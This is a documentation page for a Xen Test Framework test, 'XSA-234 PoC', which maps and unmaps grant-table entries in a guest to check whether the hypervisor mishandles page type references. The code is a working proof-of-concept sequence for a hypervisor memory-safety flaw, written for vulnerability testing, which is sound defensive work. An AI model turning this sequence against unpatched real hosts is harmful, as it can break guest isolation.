Xen Test Framework
tests
xsa-234
main.c
Go to the documentation of this file.
1
15
#include <xtf.h>
16
17
const
char
test_title
[] =
"XSA-234 PoC"
;
18
19
static
uint8_t
frame1
[
PAGE_SIZE
]
__page_aligned_bss
;
20
static
uint8_t
frame2
[
PAGE_SIZE
]
__page_aligned_bss
;
21
22
void
test_main
(
void
)
23
{
24
int
rc =
xtf_init_grant_table
(1);
25
if
( rc )
26
return
xtf_error
(
"Error initialising grant table: %d\n"
, rc);
27
28
int
domid =
xtf_get_domid
();
29
if
( domid < 0 )
30
return
xtf_error
(
"Error getting domid\n"
);
31
32
/* Remap frame1 as read-only to drop the writeable reference on it. */
33
if
(
hypercall_update_va_mapping
(
34
_u
(
frame1
),
pte_from_virt
(
frame1
,
PF_SYM
(AD, P)),
UVMF_INVLPG
) )
35
return
xtf_error
(
"Failed to remap frame1 as read-only\n"
);
36
37
/* Grant frame1 and 2 to ourselves. */
38
gnttab_v1
[8].
domid
= domid;
39
gnttab_v1
[8].
frame
=
virt_to_gfn
(
frame1
);
40
smp_wmb
();
41
gnttab_v1
[8].
flags
=
GTF_permit_access
;
42
43
gnttab_v1
[9].
domid
= domid;
44
gnttab_v1
[9].
frame
=
virt_to_gfn
(
frame2
);
45
smp_wmb
();
46
gnttab_v1
[9].
flags
=
GTF_permit_access
;
47
48
/* Grant map frame1 writeably at 4k... */
49
struct
gnttab_map_grant_ref
map = {
50
.
host_addr
=
KB
(4),
51
.flags =
GNTMAP_host_map
,
52
.ref = 8,
53
.dom = domid,
54
};
55
56
rc =
hypercall_grant_table_op
(
GNTTABOP_map_grant_ref
, &map, 1);
57
if
( rc || map.
status
)
58
return
xtf_error
(
"Failed to map grant[8]\n"
);
59
60
grant_handle_t
f1 = map.
handle
;
61
62
/* ...and grant map frame2 readably at 8k. */
63
map = (
struct
gnttab_map_grant_ref
){
64
.
host_addr
=
KB
(8),
65
.flags =
GNTMAP_host_map
|
GNTMAP_readonly
,
66
.ref = 9,
67
.dom = domid,
68
};
69
70
rc =
hypercall_grant_table_op
(
GNTTABOP_map_grant_ref
, &map, 1);
71
if
( rc || map.
status
)
72
return
xtf_error
(
"Failed to map grant[9]\n"
);
73
74
grant_handle_t
f2 = map.
handle
;
75
76
/*
77
* Use unmap_and_replace on the mapping of frame2, trying to steal the PTE
78
* which maps frame1.
79
*/
80
struct
gnttab_unmap_and_replace
ur = {
81
.
host_addr
=
KB
(8),
82
.new_addr =
KB
(4),
83
.handle = f2,
84
};
85
86
rc =
hypercall_grant_table_op
(
GNTTABOP_unmap_and_replace
, &ur, 1);
87
if
( rc || ur.
status
)
88
return
xtf_error
(
"Failed to unmap and replace grant[9]\n"
);
89
90
/*
91
* The mapping for 4k linear has been zapped, Re-point it at frame1
92
* (again, read only so as not to take another type ref) so the vulnerable
93
* unmap sanity checks succeed.
94
*/
95
if
(
hypercall_update_va_mapping
(
96
KB
(4),
pte_from_virt
(
frame1
,
PF_SYM
(AD, P)),
UVMF_INVLPG
) )
97
return
xtf_error
(
"Failed to reset grant[8]\n"
);
98
99
/*
100
* Try to unmap frame1. If Xen is vulnerable, this will succeed without
101
* error. If Xen is not vulnerable, it should fail with
102
* GNTST_general_error beacuse of unexpected PTE flags.
103
*/
104
struct
gnttab_unmap_grant_ref
unmap = {
105
.
host_addr
=
KB
(4),
106
.handle = f1,
107
};
108
109
rc =
hypercall_grant_table_op
(
GNTTABOP_unmap_grant_ref
, &unmap, 1);
110
if
( rc )
111
return
xtf_error
(
"Failed to host unmap grant[8]\n"
);
112
113
/*
114
* Irrespective of whether the unmap succeeded, double check the typeref
115
* by trying to pin frame1 as a pagetable.
116
*/
117
mmuext_op_t
op = {
118
.
cmd
=
MMUEXT_PIN_L1_TABLE
,
119
.arg1.mfn =
virt_to_mfn
(
frame1
),
120
};
121
122
rc =
hypercall_mmuext_op
(&op, 1,
NULL
,
DOMID_SELF
);
123
switch
( rc )
124
{
125
case
0:
126
return
xtf_failure
(
"Fail: Vulnerable to XSA-234\n"
);
127
128
case
-
EINVAL
:
129
return
xtf_success
(
"Success: Not vulnerable to XSA-234\n"
);
130
131
default
:
132
return
xtf_error
(
"Unexpected MMUEXT_PIN_L1_TABLE rc %d\n"
, rc);
133
}
134
}
135
136
/*
137
* Local variables:
138
* mode: C
139
* c-file-style: "BSD"
140
* c-basic-offset: 4
141
* tab-width: 4
142
* indent-tabs-mode: nil
143
* End:
144
*/
smp_wmb
#define smp_wmb()
Definition:
barrier.h:36
gnttab_v1
grant_entry_v1_t gnttab_v1[]
xtf_init_grant_table
int xtf_init_grant_table(unsigned int version)
Initialise XTF's grant infrastructure.
Definition:
grant_table.c:21
__page_aligned_bss
#define __page_aligned_bss
Definition:
compiler.h:37
test_main
void test_main(void)
To be implemented by each test, as its entry point.
Definition:
main.c:110
test_title
const char test_title[]
The title of the test.
Definition:
main.c:24
EINVAL
#define EINVAL
Definition:
errno.h:33
hypercall_mmuext_op
static long hypercall_mmuext_op(const mmuext_op_t ops[], unsigned int count, unsigned int *done, unsigned int foreigndom)
Definition:
hypercall.h:148
hypercall_update_va_mapping
static long hypercall_update_va_mapping(unsigned long linear, uint64_t npte, enum XEN_UVMF flags)
Definition:
hypercall.h:115
hypercall_grant_table_op
static long hypercall_grant_table_op(unsigned int cmd, void *args, unsigned int count)
Definition:
hypercall.h:131
xtf_get_domid
int xtf_get_domid(void)
Obtain the current domid.
Definition:
lib.c:47
virt_to_mfn
unsigned long virt_to_mfn(const void *va)
virt_to_gfn
static unsigned long virt_to_gfn(const void *va)
Definition:
mm.h:100
_u
#define _u(v)
Express an arbitrary value v as unsigned long.
Definition:
numbers.h:53
KB
#define KB(num)
Express num in Kilobytes.
Definition:
numbers.h:23
PAGE_SIZE
#define PAGE_SIZE
Definition:
page.h:11
pte_from_virt
intpte_t pte_from_virt(const void *va, uint64_t flags)
xtf_failure
void xtf_failure(const char *fmt,...)
Report a test failure.
Definition:
report.c:94
xtf_error
void xtf_error(const char *fmt,...)
Report a test error.
Definition:
report.c:80
xtf_success
void xtf_success(const char *fmt,...)
Report test success.
Definition:
report.c:38
NULL
#define NULL
Definition:
stddef.h:12
uint8_t
__UINT8_TYPE__ uint8_t
Definition:
stdint.h:14
gnttab_map_grant_ref
Definition:
grant_table.h:224
gnttab_map_grant_ref::status
int16_t status
Definition:
grant_table.h:231
gnttab_map_grant_ref::handle
grant_handle_t handle
Definition:
grant_table.h:232
gnttab_map_grant_ref::host_addr
uint64_t host_addr
Definition:
grant_table.h:226
gnttab_unmap_and_replace
Definition:
grant_table.h:289
gnttab_unmap_and_replace::status
int16_t status
Definition:
grant_table.h:295
gnttab_unmap_and_replace::host_addr
uint64_t host_addr
Definition:
grant_table.h:291
gnttab_unmap_grant_ref
Definition:
grant_table.h:248
gnttab_unmap_grant_ref::host_addr
uint64_t host_addr
Definition:
grant_table.h:250
grant_entry_v1_t::flags
uint16_t flags
Definition:
grant_table.h:108
grant_entry_v1_t::frame
uint32_t frame
Definition:
grant_table.h:117
grant_entry_v1_t::domid
domid_t domid
Definition:
grant_table.h:110
mmuext_op
Definition:
xen.h:355
mmuext_op::cmd
unsigned int cmd
Definition:
xen.h:356
PF_SYM
#define PF_SYM(...)
Create pagetable entry flags based on mnemonics.
Definition:
symbolic-const.h:108
GNTMAP_readonly
#define GNTMAP_readonly
Definition:
grant_table.h:182
GNTTABOP_map_grant_ref
#define GNTTABOP_map_grant_ref
Definition:
grant_table.h:223
GNTMAP_host_map
#define GNTMAP_host_map
Definition:
grant_table.h:179
grant_handle_t
uint32_t grant_handle_t
Definition:
grant_table.h:103
GNTTABOP_unmap_and_replace
#define GNTTABOP_unmap_and_replace
Definition:
grant_table.h:288
GTF_permit_access
#define GTF_permit_access
Definition:
grant_table.h:50
GNTTABOP_unmap_grant_ref
#define GNTTABOP_unmap_grant_ref
Definition:
grant_table.h:247
MMUEXT_PIN_L1_TABLE
#define MMUEXT_PIN_L1_TABLE
Definition:
xen.h:333
DOMID_SELF
#define DOMID_SELF
Definition:
xen.h:70
UVMF_INVLPG
@ UVMF_INVLPG
Definition:
xen.h:383
frame2
static uint8_t frame2[PAGE_SIZE]
Definition:
main.c:20
frame1
static uint8_t frame1[PAGE_SIZE]
Definition:
main.c:19
Generated by
1.9.4